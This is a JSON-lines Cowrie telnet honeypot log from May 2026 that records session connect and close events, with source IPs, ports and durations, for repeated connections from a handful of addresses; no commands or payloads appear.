{"eventid":"cowrie.session.closed","duration":33.096912145614624,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:26.460246Z","src_ip":"43.225.52.5","session":"838e96e8f5aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":32942,"dst_ip":"10.17.0.5","dst_port":23,"session":"66d50ff6bf56","protocol":"telnet","message":"New connection: 103.208.219.59:32942 (10.17.0.5:23) [session: 66d50ff6bf56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:26.958276Z"}
{"eventid":"cowrie.session.closed","duration":49.365663051605225,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:27.067709Z","src_ip":"188.208.141.113","session":"33e91313ff8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":39098,"dst_ip":"10.17.0.5","dst_port":23,"session":"75a2b74c5181","protocol":"telnet","message":"New connection: 43.225.52.5:39098 (10.17.0.5:23) [session: 75a2b74c5181]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:27.299824Z"}
{"eventid":"cowrie.session.closed","duration":31.12693738937378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:27.498481Z","src_ip":"43.225.52.5","session":"352371b7a4ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":32948,"dst_ip":"10.17.0.5","dst_port":23,"session":"c86df7b56e88","protocol":"telnet","message":"New connection: 103.208.219.59:32948 (10.17.0.5:23) [session: c86df7b56e88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:28.001903Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":39624,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdde50c171eb","protocol":"telnet","message":"New connection: 43.225.52.5:39624 (10.17.0.5:23) [session: fdde50c171eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:28.429022Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43186,"dst_ip":"10.17.0.5","dst_port":23,"session":"5bce7950db13","protocol":"telnet","message":"New connection: 188.208.141.113:43186 (10.17.0.5:23) [session: 5bce7950db13]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:28.485380Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":32954,"dst_ip":"10.17.0.5","dst_port":23,"session":"e614c63f23d3","protocol":"telnet","message":"New connection: 103.208.219.59:32954 (10.17.0.5:23) [session: e614c63f23d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:28.664531Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43198,"dst_ip":"10.17.0.5","dst_port":23,"session":"8ea8758b6d16","protocol":"telnet","message":"New connection: 188.208.141.113:43198 (10.17.0.5:23) [session: 8ea8758b6d16]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:28.702765Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43214,"dst_ip":"10.17.0.5","dst_port":23,"session":"0e7e8fa3db3b","protocol":"telnet","message":"New connection: 188.208.141.113:43214 (10.17.0.5:23) [session: 0e7e8fa3db3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:28.956630Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":32964,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e084e8b7f01","protocol":"telnet","message":"New connection: 103.208.219.59:32964 (10.17.0.5:23) [session: 6e084e8b7f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:29.208801Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43224,"dst_ip":"10.17.0.5","dst_port":23,"session":"9fc4ae306b25","protocol":"telnet","message":"New connection: 188.208.141.113:43224 (10.17.0.5:23) [session: 9fc4ae306b25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:29.304557Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":32970,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab70eef67502","protocol":"telnet","message":"New connection: 103.208.219.59:32970 (10.17.0.5:23) [session: ab70eef67502]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:29.527995Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":40036,"dst_ip":"10.17.0.5","dst_port":23,"session":"39b03d990a9f","protocol":"telnet","message":"New connection: 43.225.52.5:40036 (10.17.0.5:23) [session: 39b03d990a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:29.681205Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":43236,"dst_ip":"10.17.0.5","dst_port":23,"session":"794e7031ca99","protocol":"telnet","message":"New connection: 188.208.141.113:43236 (10.17.0.5:23) [session: 794e7031ca99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:29.973708Z"}
{"eventid":"cowrie.session.closed","duration":31.313464641571045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:30.290445Z","src_ip":"103.208.219.59","session":"d0d9f046ed87","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":32984,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c55cc712ff2","protocol":"telnet","message":"New connection: 103.208.219.59:32984 (10.17.0.5:23) [session: 7c55cc712ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:30.844137Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33336,"dst_ip":"10.17.0.5","dst_port":23,"session":"54e4c4380dd9","protocol":"telnet","message":"New connection: 188.208.141.113:33336 (10.17.0.5:23) [session: 54e4c4380dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:30.978285Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":32992,"dst_ip":"10.17.0.5","dst_port":23,"session":"b64f34bde8fc","protocol":"telnet","message":"New connection: 103.208.219.59:32992 (10.17.0.5:23) [session: b64f34bde8fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:31.652947Z"}
{"eventid":"cowrie.session.closed","duration":43.30951952934265,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:31.744996Z","src_ip":"188.208.141.113","session":"2568037fd374","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.88218855857849,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:32.766285Z","src_ip":"43.225.52.5","session":"d00b861fb858","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.270033359527588,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:33.972673Z","src_ip":"188.208.141.113","session":"8ea8758b6d16","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.604478359222412,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:34.089732Z","src_ip":"188.208.141.113","session":"5bce7950db13","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":33008,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c504fb84a18","protocol":"telnet","message":"New connection: 103.208.219.59:33008 (10.17.0.5:23) [session: 1c504fb84a18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:34.176395Z"}
{"eventid":"cowrie.session.closed","duration":31.59426498413086,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:34.985111Z","src_ip":"103.208.219.59","session":"0f0f94504529","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.09411835670471,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:35.495972Z","src_ip":"103.208.219.59","session":"dce2fd26b68d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.64233684539795,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:35.520405Z","src_ip":"188.208.141.113","session":"405bf065eeb0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.9.242","src_port":35822,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ff9fc56b338","protocol":"telnet","message":"New connection: 64.227.9.242:35822 (159.203.135.109:23) [session: 2ff9fc56b338]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:36.703393Z"}
{"eventid":"cowrie.session.closed","duration":31.95927596092224,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:36.970972Z","src_ip":"103.208.219.59","session":"e9686fd1cb67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":40198,"dst_ip":"10.17.0.5","dst_port":23,"session":"3785f1c1f721","protocol":"telnet","message":"New connection: 103.208.219.59:40198 (10.17.0.5:23) [session: 3785f1c1f721]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:37.096226Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":40200,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2c0c4201b8b","protocol":"telnet","message":"New connection: 103.208.219.59:40200 (10.17.0.5:23) [session: a2c0c4201b8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:37.188375Z"}
{"eventid":"cowrie.session.closed","duration":31.5752375125885,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:37.689615Z","src_ip":"43.225.52.5","session":"a34912a9d41a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":33340,"dst_ip":"10.17.0.5","dst_port":23,"session":"aa66891eda84","protocol":"telnet","message":"New connection: 188.208.141.113:33340 (10.17.0.5:23) [session: aa66891eda84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:38.270197Z"}
{"eventid":"cowrie.session.closed","duration":40.3731632232666,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:38.328614Z","src_ip":"188.208.141.113","session":"2225c68d8719","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.354887008666992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:40.154533Z","src_ip":"103.208.219.59","session":"bfc77796fbc4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.119868516921997,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:40.534821Z","src_ip":"43.225.52.5","session":"13e786739bd0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":40212,"dst_ip":"10.17.0.5","dst_port":23,"session":"3d3de40a547e","protocol":"telnet","message":"New connection: 103.208.219.59:40212 (10.17.0.5:23) [session: 3d3de40a547e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:41.538764Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":40214,"dst_ip":"10.17.0.5","dst_port":23,"session":"e461a6028ef2","protocol":"telnet","message":"New connection: 103.208.219.59:40214 (10.17.0.5:23) [session: e461a6028ef2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:42.157964Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52298,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b887d6c2e2f","protocol":"telnet","message":"New connection: 188.208.141.113:52298 (10.17.0.5:23) [session: 4b887d6c2e2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:42.975544Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":42094,"dst_ip":"10.17.0.5","dst_port":23,"session":"794336b73c3b","protocol":"telnet","message":"New connection: 43.225.52.5:42094 (10.17.0.5:23) [session: 794336b73c3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:43.418906Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":42628,"dst_ip":"10.17.0.5","dst_port":23,"session":"03fe179c2ea3","protocol":"telnet","message":"New connection: 43.225.52.5:42628 (10.17.0.5:23) [session: 03fe179c2ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:44.002541Z"}
{"eventid":"cowrie.session.closed","duration":50.93261528015137,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:44.714737Z","src_ip":"188.208.141.113","session":"a9a3c245cec2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52306,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1a388844ac2","protocol":"telnet","message":"New connection: 188.208.141.113:52306 (10.17.0.5:23) [session: c1a388844ac2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:45.807287Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":52318,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f93ea2f7d72","protocol":"telnet","message":"New connection: 188.208.141.113:52318 (10.17.0.5:23) [session: 2f93ea2f7d72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:46.164948Z"}
{"eventid":"cowrie.session.closed","duration":31.326541423797607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:46.371297Z","src_ip":"43.225.52.5","session":"05c26dfddf95","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.752256631851196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:46.788414Z","src_ip":"103.208.219.59","session":"1e7c8ccabc0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.922809600830078,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:47.203521Z","src_ip":"103.208.219.59","session":"76a8f1ffd0f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.36943483352661,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:47.432316Z","src_ip":"64.227.9.242","session":"b904ba3de02c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04473090171814,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:48.236022Z","src_ip":"103.208.219.59","session":"158eab023efe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":43422,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcd569cfe1e9","protocol":"telnet","message":"New connection: 43.225.52.5:43422 (10.17.0.5:23) [session: dcd569cfe1e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:48.333087Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":54428,"dst_ip":"10.17.0.5","dst_port":23,"session":"012347d47962","protocol":"telnet","message":"New connection: 103.208.219.59:54428 (10.17.0.5:23) [session: 012347d47962]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:48.365989Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":54434,"dst_ip":"10.17.0.5","dst_port":23,"session":"d6b069774f5c","protocol":"telnet","message":"New connection: 103.208.219.59:54434 (10.17.0.5:23) [session: d6b069774f5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:49.663469Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":54444,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f3ab368bfa6","protocol":"telnet","message":"New connection: 103.208.219.59:54444 (10.17.0.5:23) [session: 4f3ab368bfa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:50.546709Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60198,"dst_ip":"10.17.0.5","dst_port":23,"session":"a79776d0eb31","protocol":"telnet","message":"New connection: 188.208.141.113:60198 (10.17.0.5:23) [session: a79776d0eb31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:50.765465Z"}
{"eventid":"cowrie.session.closed","duration":31.47850775718689,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:51.576356Z","src_ip":"103.208.219.59","session":"1af79dace8ef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.944591999053955,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:52.078022Z","src_ip":"103.208.219.59","session":"8a83aea3fde7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.225.52.5","src_port":44622,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab993f417f22","protocol":"telnet","message":"New connection: 43.225.52.5:44622 (10.17.0.5:23) [session: ab993f417f22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:53.483311Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60202,"dst_ip":"10.17.0.5","dst_port":23,"session":"3354b348f3a8","protocol":"telnet","message":"New connection: 188.208.141.113:60202 (10.17.0.5:23) [session: 3354b348f3a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:54.265728Z"}
{"eventid":"cowrie.session.closed","duration":31.00892210006714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:55.428376Z","src_ip":"103.208.219.59","session":"6355d2d27205","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.74962568283081,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:55.433296Z","src_ip":"43.225.52.5","session":"2c2002c71e3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":54458,"dst_ip":"10.17.0.5","dst_port":23,"session":"6995ecbc8c5e","protocol":"telnet","message":"New connection: 103.208.219.59:54458 (10.17.0.5:23) [session: 6995ecbc8c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:55.954123Z"}
{"eventid":"cowrie.session.closed","duration":30.691247701644897,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:56.244086Z","src_ip":"103.208.219.59","session":"806abdbcb50a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.245569705963135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:56.505012Z","src_ip":"103.208.219.59","session":"96a7b9abc71a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60214,"dst_ip":"10.17.0.5","dst_port":23,"session":"73ec24039094","protocol":"telnet","message":"New connection: 188.208.141.113:60214 (10.17.0.5:23) [session: 73ec24039094]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:57.218690Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":53406,"dst_ip":"10.17.0.5","dst_port":23,"session":"6690ce8068c3","protocol":"telnet","message":"New connection: 103.208.219.59:53406 (10.17.0.5:23) [session: 6690ce8068c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:57.757728Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":53414,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf5b9a61d7d3","protocol":"telnet","message":"New connection: 103.208.219.59:53414 (10.17.0.5:23) [session: cf5b9a61d7d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:57.928924Z"}
{"eventid":"cowrie.session.closed","duration":30.781360149383545,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:58.081078Z","src_ip":"43.225.52.5","session":"75a2b74c5181","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":53420,"dst_ip":"10.17.0.5","dst_port":23,"session":"f09178f3be2b","protocol":"telnet","message":"New connection: 103.208.219.59:53420 (10.17.0.5:23) [session: f09178f3be2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:58.086743Z"}
{"eventid":"cowrie.session.closed","duration":31.258306741714478,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:58.216474Z","src_ip":"103.208.219.59","session":"66d50ff6bf56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.297635078430176,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:59.299428Z","src_ip":"103.208.219.59","session":"c86df7b56e88","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.036191940307617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:59.700623Z","src_ip":"103.208.219.59","session":"e614c63f23d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.33565068244934,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:46:59.764558Z","src_ip":"43.225.52.5","session":"fdde50c171eb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":53426,"dst_ip":"10.17.0.5","dst_port":23,"session":"c04f8c0458d5","protocol":"telnet","message":"New connection: 103.208.219.59:53426 (10.17.0.5:23) [session: c04f8c0458d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:00.264861Z"}
{"eventid":"cowrie.session.closed","duration":31.0996036529541,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:00.627496Z","src_ip":"103.208.219.59","session":"ab70eef67502","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.479617834091187,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:00.688338Z","src_ip":"103.208.219.59","session":"6e084e8b7f01","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":53438,"dst_ip":"10.17.0.5","dst_port":23,"session":"e87fe7e01ab2","protocol":"telnet","message":"New connection: 103.208.219.59:53438 (10.17.0.5:23) [session: e87fe7e01ab2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:01.190324Z"}
{"eventid":"cowrie.session.closed","duration":30.392404079437256,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:01.236434Z","src_ip":"103.208.219.59","session":"7c55cc712ff2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":53454,"dst_ip":"10.17.0.5","dst_port":23,"session":"1cda285ba304","protocol":"telnet","message":"New connection: 103.208.219.59:53454 (10.17.0.5:23) [session: 1cda285ba304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:01.581962Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.208.219.59","src_port":53460,"dst_ip":"10.17.0.5","dst_port":23,"session":"944705a944f7","protocol":"telnet","message":"New connection: 103.208.219.59:53460 (10.17.0.5:23) [session: 944705a944f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T23:47:01.656460Z"}
